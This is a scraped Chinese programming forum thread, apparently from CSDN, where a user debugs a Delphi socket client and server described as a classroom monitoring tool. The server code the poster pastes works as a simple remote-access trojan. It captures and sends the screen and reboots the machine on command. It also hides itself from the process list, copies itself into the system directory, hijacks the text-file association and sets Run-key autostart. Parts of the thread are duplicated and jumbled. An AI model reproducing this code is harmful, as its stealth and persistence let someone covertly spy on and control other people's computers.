ClientSocketprocedure TForm1.ToolButton24Click(Sender: TObject); begin control.socket.sendtext('reboot'); end;procedure TForm1.Button2Click(Sender: TObject); begin control.socket.sendtext('hello'); end;procedure TForm1.Button1Click(Sender: TObject); begin control.Socket.SendText('gets'); //发送申请,通知服务端需要屏幕图象 end;
procedure TForm1.undercontrolClientRead(Sender: TObject; Socket: TCustomWinSocket); var s:string; begin s:=socket.ReceiveText; if s='reboot' then ExitWindowsEx(Ewx_reboot,2); //重新启动电脑 else if s='hello' then showMessage('注意纪律'); //向学生发出消息 if s='gets' then //客户端发出申请 ……目前只有s='get'能执行,前面两个的重启电脑和发送消息没有用 服务器端和客户端均是非阻塞方式,还请大家教教小弟我
unit server;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp;type TForm1 = class(TForm) ServerSocket1: TServerSocket; procedure FormCreate(Sender: TObject); procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } public { Public declarations } end;var Form1: TForm1;implementation{$R *.dfm}procedure TForm1.FormCreate(Sender: TObject); begin serversocket1.Open; serversocket1.Active:=true; serversocket1.Socket.Lock; end;procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var data:string; begin data:=socket.ReceiveText; if data='haha' then begin messagebox(form1.handle,pchar(data),'system',MB_OK+MB_ICONSTOP); end; if data='hehe' then begin messagebox(form1.handle,pchar(data),'system',MB_OK+MB_ICONSTOP); end; if data='hello' then begin messagebox(form1.handle,pchar(data),'system',MB_OK+MB_ICONSTOP); end; end;end.
我也句的奇怪啊,这样应该是没有问题的,可是就是行不通好象
比如我发送消息,“hello”,要在服务器上显示“hello”,这个可以
接着后面的“hehe”和“haha”,就没有消息,只能响应一个按扭提出的请求
I donot know it
sory
begin
control.socket.sendtext('reboot');
end;procedure TForm1.Button2Click(Sender: TObject);
begin
control.socket.sendtext('hello');
end;procedure TForm1.Button1Click(Sender: TObject);
begin
control.Socket.SendText('gets');
//发送申请,通知服务端需要屏幕图象
end;
Socket: TCustomWinSocket);
var
s:string;
begin
s:=socket.ReceiveText;
if s='reboot' then
ExitWindowsEx(Ewx_reboot,2); //重新启动电脑
else if s='hello' then
showMessage('注意纪律'); //向学生发出消息
if s='gets' then //客户端发出申请
……目前只有s='get'能执行,前面两个的重启电脑和发送消息没有用
服务器端和客户端均是非阻塞方式,还请大家教教小弟我
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls;type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
procedure Button4Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;implementation{$R *.dfm}procedure TForm1.Button4Click(Sender: TObject);
begin
clientsocket1.Active:=true;
end;procedure TForm1.Button1Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('hehe');
end;procedure TForm1.Button2Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('haha');
end;procedure TForm1.Button3Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('hello');
end;end.
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;implementation{$R *.dfm}procedure TForm1.FormCreate(Sender: TObject);
begin
serversocket1.Open;
serversocket1.Active:=true;
serversocket1.Socket.Lock;
end;procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var data:string;
begin
data:=socket.ReceiveText;
if data='haha' then
begin
messagebox(form1.handle,pchar(data),'system',MB_OK+MB_ICONSTOP);
end; if data='hehe' then
begin
messagebox(form1.handle,pchar(data),'system',MB_OK+MB_ICONSTOP);
end;
if data='hello' then
begin
messagebox(form1.handle,pchar(data),'system',MB_OK+MB_ICONSTOP);
end; end;end.
我按照你给出的代码,添上了LOCK事件,还是不行我把我server端的代码全贴出来好了
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp,Registry,jpeg;type
TForm1 = class(TForm)
undercontrol: TServerSocket;
procedure undercontrolClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
m1:tmemorystream;implementation function RegisterServiceProcess (dwProcessID, dwType: DWord) :
DWord;
stdcall; external 'KERNEL32.DLL'; function GetWinDir: String; //寻找windows/system路径函数
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then
Result := Result + '\';
end;
{$R *.DFM}procedure TForm1.undercontrolClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s,s1:string;
desk:tcanvas;
bitmap:tbitmap;
jpg:tjpegimage; begin
s:=socket.ReceiveText;
if s='reboot' then
begin
ExitWindowsEx(Ewx_reboot,2); //重新启动电脑
end;if s='hello' then
begin
showMessage('注意纪律'); //向学生发出消息
end;if s='gets' then //客户端发出申请
begin
bitmap:=tbitmap.Create;
jpg:=tjpegimage.Create;
desk:=tcanvas.Create; //以下代码为取得当前屏幕图象
desk.Handle:=getdc(hwnd_desktop);
m1:=tmemorystream.Create; //初始化流m1,在用sendstream(m1)发送流后,
//它将保留到socket对话结束,
//不能用手工free掉,否则会触发异常
with bitmap do
begin
width:=screen.Width;
height:=screen.Height;
canvas.CopyRect(canvas.cliprect,desk,desk.cliprect);
end;
jpg.Assign(bitmap); //将图象转成JPG格式
jpg.SaveToStream(m1); //将JPG图象写入流中
jpg.free;
m1.Position:=0;
s1:=inttostr(m1.size);
Socket.sendtext(s1); //发送图象大小
end;
if s='okok' then //客户端已准备好接收图象
begin
m1.Position:=0;
Socket.SendStream(m1); //发送JPG图象
end; end;procedure TForm1.FormCreate(Sender: TObject);
const K ='\Software\Microsoft\Windows\CurrentVersion\Run';
const KK = '\txtfile\shell\open\command';
var
Project2,sFileName:string;
begin
undercontrol.open;
undercontrol.socket.lock;
RegisterServiceProcess(GetCurrentProcessID,1);//在进程中隐藏
Project2:=ExtractFilename(Application.Exename);//获得文件名
if application.Exename <> GetWindir+Project2 then
//如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir+Project2),
False);//将自己拷贝到Windows\System\下
Winexec(pchar(GetWindir+Project2),sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end; with TRegistry.Create do //与文本文件关联
try
RootKey:=HKEY_CLASSES_ROOT;
OpenKey(KK,True);
WriteString( '', application.ExeName+' "%1" ');
finally
free;
end; with TRegistry.Create do //开机自动运行
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end; if FileExists(pchar(Getwindir+'Project2.exe'))=false then//如果文件已经删除
begin
copyfile(pchar(application.exename),pchar(Getwindir+'Project2.exe'),
false);//自定义拷贝资源文件过程
winexec(pchar(Getwindir+'Project2.exe'),sw_hide);
end; if ParamCount>0 then begin (* 有执行参数传入 *)
sFileName:=ParamStr(1); (* 取得参数内容 *)
winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*)
end;end;
end.client和server均是非阻塞方式,port:9739,host:user
server.active设为true
1,你希望你监控的电脑上生成,jpeg流先保存下来,然后向你发一个流大小的消息,
问题出在这儿,我不知道你怎么接受,我想你肯定先判断是否为文件大小发来了,然后发送一个okok的消息,我估计你能接受到文件大小,但这是一个动态变化的量,你的客户端肯定出错,没有能正确发送okok消息,我建议作如下修改:将你的服务器端生成的jepg流写入文件保存下来如:c:\xxx.jpg,然后,在通过流的方式发送过来,再在客户端生成jpeg,并转化成bmp,如此要想把jpg文件传过来,就变成了远程文件下载的问题,请看:
http://www.csdn.net/expert/topic/674/674607.xml?temp=.5551264
当然也可以在我的程序中的image中打开
这样可以吗?把图象的操作重新进行修改的工程比我修改下重启什么的来的复杂啊
我用TUMUDP试了一下,就是利用TUMUDP来发送消息,重启系统等
我感觉我代码没有写错,不知道为什么有错误
什么 null remote address
小弟我手里没有相关的资料,不知道是什么原因
对了,介绍本关于网络编程的书给我好吗?
procedure TForm1.FormCreate(Sender: TObject);
begin
//control.open;
//m:=tmemorystream.Create;
RsltStream:= tmemorystream.Create;
TmpStream:=tmemorystream.Create;
end;procedure TForm1.ToolButton24Click(Sender: TObject);
var
RegCode:array[0..29] of char;
RegCodeStr:string;
begin
RegCodeStr:='reboot';
StrpCopy(RegCode,RegCodeStr);
TmpStream.Clear;
RsltStream.Clear;
NMUDP1.RemoteHost:=edit1.txt;
NMUDP1.SendBuffer(RegCode,30);
end;
服务器端
……
const BufSize=2048;
……
procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
CtrlCode:array[0..250] of char;
begin
NMUDP1.ReadBuffer(CtrlCode,NumberBytes);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]
='reboot' then ExitWindowsEx(Ewx_reboot,2);//重新启动电脑
end;
请确定edit1.txt中内容是否正确
服务器端的nmudp的localport属性和remoteport属性分别和客户端的nmudp的remoteport和localport相同,千万别弄反。
http://www.csdn.net/expert/topic/698/698646.xml?temp=9.733218E-02
兄弟,去这领分,谢谢你~!